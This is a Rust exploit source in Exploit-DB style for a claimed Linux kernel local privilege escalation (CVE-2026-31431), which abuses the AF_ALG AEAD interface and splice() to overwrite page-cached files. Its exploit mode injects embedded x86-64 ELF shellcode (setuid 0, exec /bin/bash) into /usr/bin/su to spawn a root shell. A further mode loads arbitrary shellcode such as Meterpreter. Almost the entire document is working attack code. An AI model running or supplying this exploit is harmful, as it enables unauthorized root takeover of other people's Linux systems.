* Exploit Title: Linux Kernel 5.4 - 6.8 - Local Privilege Escalation * Google Dork: N/A * Date: 2026-04-30 * Exploit Author: Long Fong Chan (https://github.com/iss4cf0ng) * Vendor Homepage: https://www.kernel.org/ * Software Link: https://git.kernel.org/ * Version: Linux Kernel 5.4 - 6.8 (unpatched) * Tested on: Ubuntu 22.04, Debian 12 * * Description: * Linux kernel AF_ALG (algif_aead) vulnerability allows local users * to perform arbitrary file overwrite in page cache via splice() * and AEAD crypto interface, leading to privilege escalation. * * This exploit overwrites /usr/bin/su in memory and spawns a root shell. * * Requirements: * - Unprivileged local user * - algif_aead module loaded * * Usage: * --test Check vulnerability * --exploit Spawn root shell * --bin Use custom payload */ use std::{env, fs, io}; use std::ffi::CString; use std::fs::File; use std::io::{Read, Write}; use std::os::unix::io::AsRawFd; const TARGET_BINARY: &str = "/usr/bin/su"; const TEST_FILE: &str = "/tmp/.cve_test"; // Shellcode (/bin/bash) /* ; https://filippo.io/linux-syscall-table/ db 0x7f, 'ELF', 2, 1, 1, 0 ; e_ident dq 0 ; padding dw 2 ; e_type (ET_EXEC) dw 62 ; e_machine (EM_X86_64) dd 1 ; e_version dq 0x400078 ; e_entry (Entry point) dq 0x40 ; e_phoff (Program Header Offset) dq 0 ; e_shoff dd 0 ; e_flags dw 64 ; e_ehsize dw 56 ; e_phentsize dw 1 ; e_phnum dw 0, 0, 0 ; s_header info ; Program Header dd 1 ; p_type (PT_LOAD) dd 5 ; p_flags (PF_R | PF_X) dq 0 ; p_offset dq 0x400000 ; p_vaddr dq 0x400000 ; p_paddr dq 0x9e ; p_filesz dq 0x9e ; p_memsz dq 0x1000 ; p_align ; Program _start: ; setuid(0) xor eax, eax ; clear eax xor edi, edi ; edi = 0 (UID 0) mov al, 105 ; syscall 105 (setuid) syscall ; execve("/bin/bash", NULL, NULL) lea rdi, [rel path] ; Load effective address of the string xor esi, esi ; argv = NULL cdq ; edx = 0 (envp = NULL) mov al, 59 ; syscall 59 (execve) syscall ; exit(0) xor edi, edi push 60 pop rax ; syscall 60 (exit) syscall path: db "/bin/bash", 0 */ const BASH_SHELLCODE: &[u8] = &[ 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31, 0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00 ]; unsafe fn inject_payload(fd: i32, payload: &[u8]) { for i in (0..payload.len()).step_by(4) { let mut chunk = [0u8; 4]; let end = std::cmp::min(i + 4, payload.len()); chunk[..end - i].copy_from_slice(&payload[i..end]); do_kernel_injection(fd, i, &chunk); if i % 40 == 0 { io::stdout().flush().ok(); } } } // Linux kernel injection unsafe fn do_kernel_injection(target_fd: i32, t_idx: usize, chunk: &[u8]) { let master_fd = libc::socket(38, libc::SOCK_SEQPACKET, 0); let mut addr: [u8; 88] = [0; 88]; addr[0..2].copy_from_slice(&38u16.to_ne_bytes()); std::ptr::copy_nonoverlapping("aead".as_ptr(), addr.as_mut_ptr().add(2), 4); let name = "authencesn(hmac(sha256),cbc(aes))"; std::ptr::copy_nonoverlapping(name.as_ptr(), addr.as_mut_ptr().add(24), name.len()); libc::bind(master_fd, addr.as_ptr() as _, 88); let mut key = [0u8; 40]; key[0..8].copy_from_slice(&[0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10]); libc::setsockopt(master_fd, 279, 1, key.as_ptr() as _, 40); libc::setsockopt(master_fd, 279, 5, &4u32 as *const _ as _, 4); let op_fd = libc::accept(master_fd, std::ptr::null_mut(), std::ptr::null_mut()); let mut cmsg_buf = [0u8; 128]; let mut data = [0u8; 8]; data[0..4].copy_from_slice(b"AAAA"); data[4..8].copy_from_slice(chunk); let mut iov = libc::iovec { iov_base: data.as_mut_ptr() as _, iov_len: 8 }; let mut msg: libc::msghdr = std::mem::zeroed(); msg.msg_iov = &mut iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buf.as_mut_ptr() as _; let mut p = cmsg_buf.as_mut_ptr(); let mut h1: libc::cmsghdr = std::mem::zeroed(); h1.cmsg_len = libc::CMSG_LEN(4) as _; h1.cmsg_level = 279; h1.cmsg_type = 3; *(p as *mut libc::cmsghdr) = h1; p = p.add(libc::CMSG_SPACE(4) as usize); let mut h2: libc::cmsghdr = std::mem::zeroed(); h2.cmsg_len = libc::CMSG_LEN(20) as _; h2.cmsg_level = 279; h2.cmsg_type = 2; *(p as *mut libc::cmsghdr) = h2; *(libc::CMSG_DATA(p as _) as *mut u32) = 16; p = p.add(libc::CMSG_SPACE(20) as usize); let mut h3: libc::cmsghdr = std::mem::zeroed(); h3.cmsg_len = libc::CMSG_LEN(4) as _; h3.cmsg_level = 279; h3.cmsg_type = 4; *(p as *mut libc::cmsghdr) = h3; *(libc::CMSG_DATA(p as _) as *mut u32) = 8; msg.msg_controllen = 32 + 16 + 16; libc::sendmsg(op_fd, &msg, 0x8000); let mut pipes = [0i32; 2]; libc::pipe(pipes.as_mut_ptr()); let mut off: i64 = 0; libc::splice(target_fd, &mut off, pipes[1], std::ptr::null_mut(), t_idx + 4, 0); libc::splice(pipes[0], std::ptr::null_mut(), op_fd, std::ptr::null_mut(), t_idx + 4, 0); let mut drain = [0u8; 1024]; libc::recv(op_fd, drain.as_mut_ptr() as _, 1024, 0x40); libc::close(op_fd); libc::close(master_fd); libc::close(pipes[0]); libc::close(pipes[1]); } fn main() -> io::Result<()> { let args: Vec = env::args().collect(); println!("--------------------------------------------------"); println!(" CVE-2026-31431 Linux Copy-Fail Exploit (Rust) "); println!("--------------------------------------------------"); if args.len() < 2 { println!("Usage: {} [--test | --exploit | --bin ]", args[0]); return Ok(()); } match args[1].as_str() { "--test" => { // Test vulnerability println!("[*] Mode: Vulnerability Testing"); let mut f = File::create(TEST_FILE)?; f.write_all(&vec![b'A'; 64])?; let target = File::open(TEST_FILE)?; unsafe { inject_payload(target.as_raw_fd(), b"HACK") }; let mut res = vec![0u8; 4]; File::open(TEST_FILE)?.read_exact(&mut res)?; if &res == b"HACK" { println!("\x1b[31;1m[!] VULNERABLE!\x1b[0m"); } else { println!("[+] SAFE"); } fs::remove_file(TEST_FILE).ok(); } "--exploit" => { // Vulnerability exploitation, provide interactive shell println!("[*] Mode: Privilege Escalation (Default: /bin/bash)"); let target = File::open(TARGET_BINARY)?; unsafe { inject_payload(target.as_raw_fd(), BASH_SHELLCODE) }; println!("\n[+] Spawning root shell..."); let cmd = CString::new("su").unwrap(); unsafe { libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr()); } } "--bin" => { // Load customized shellcode bin file, such as Meterpreter if args.len() < 3 { println!("[!] Error: Please specify a bin file."); return Ok(()); } let bin_path = &args[2]; println!("[*] Mode: Custom Shellcode Injection"); println!("[*] Loading: {}", bin_path); let custom_payload = fs::read(bin_path)?; let target = File::open(TARGET_BINARY)?; unsafe { inject_payload(target.as_raw_fd(), &custom_payload) }; println!("\n[+] Injection complete. Executing {}...", TARGET_BINARY); let cmd = CString::new("su").unwrap(); unsafe { libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr()); } } _ => println!("[!] Unknown option.") } Ok(()) }